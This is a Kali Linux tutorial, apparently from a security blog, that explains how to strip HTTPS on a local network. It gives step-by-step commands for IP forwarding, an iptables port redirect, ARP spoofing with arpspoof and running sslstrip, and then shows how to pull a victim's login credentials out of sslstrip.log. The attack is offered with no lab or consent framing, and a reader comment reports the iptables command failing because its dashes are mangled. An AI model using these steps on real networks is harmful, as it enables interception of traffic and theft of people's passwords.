MITM attack over HTTPS connection with SSLStrip

MITM attack with SSLStrip transparently hijack HTTP traffic on a network, look for HTTPS links and redirects, then map those connections into either resembles the other alike HTTP connections or homograph-comparable HTTPS links.

It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial.

Also Read: Top 5 Best Android Hacking Apps 2017

Step 1: We should set our machine in forwarding mode so that our machine has the capacity to forward each packet that was not expected for your machine.

echo 1 > /proc/sys/net/ipv4/ip_forward

Step 2: Need to set iptables to redirect traffic from port 80 to port 8080 to ensure outgoing connections to sslstrip.

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

Step 3: Need to find our Network Gateway.

route -n

Step 4: Next we need to find our target machine’s IP address

Step 5: ARP spoofing is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network.

arpspoof -i -t

Step6: Now we need to listen to port 8080, by opening a new terminal window.

sslstrip -l 8080

Step 7: Now we should go to the victim machine and for Ex type in the browser as we know Facebook will go with HTTPS, but now check with the victim machine, we can see the connection established through HTTP.

Step8: Now go to the Home folder and check for the sslstrip.log file, we can find the username and password the victim entered for login.

That’s all we have cracked our victim’s credentials.

If you have any doubt please don’t hesitate to leave a comment.

Also, find more Tutorials with Kali Linux

Guru baran

View Comments

  • root@kali:/home/kali# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
    Bad argument `–destination-port'
    Try `iptables -h' or 'iptables --help' for more information.

    Please help .Getting error

Recent Posts

BlueNoroff: New Malware Attacking MacOS Users

Researchers have uncovered a new Trojan-attacking macOS user that is associated with the BlueNoroff APT group and their ongoing RustBucket campaign.  As…

26 mins ago

Serpent Stealer Acquires Browser Passwords and Erases Intrusion Logs

Beneath the surface of the cyber realm, a silent menace emerges—crafted with the precision of the .NET framework, the Serpent…

45 mins ago

Doppelgänger: Hackers Employ AI to Launch Highly sophistication Attacks

It has been observed that threat actors are using AI technology to conduct illicit operations on social media platforms. These…

3 hours ago

Kali Linux 2023.4 Released – What’s New!

Kali Linux 2023.4, the latest version of Offensive Security's renowned operating system, has been released, and it includes the advanced…

8 hours ago

Trickbot Malware Developer Pleads Guilty & Faces 35 Years in Prison

A 40-year-old Russian national, Vladimir Dunaev, pleaded guilty for developing and deploying Trickbot malware. Trickbot, a suite of malware tools,…

10 hours ago

ICANN Launches RDRS to Assist Law Enforcement Agencies to Discover Private Info

ICANN is a non-profit organization that is responsible for coordinating the global internet's- DNS IP address allocation This organization manages…

14 hours ago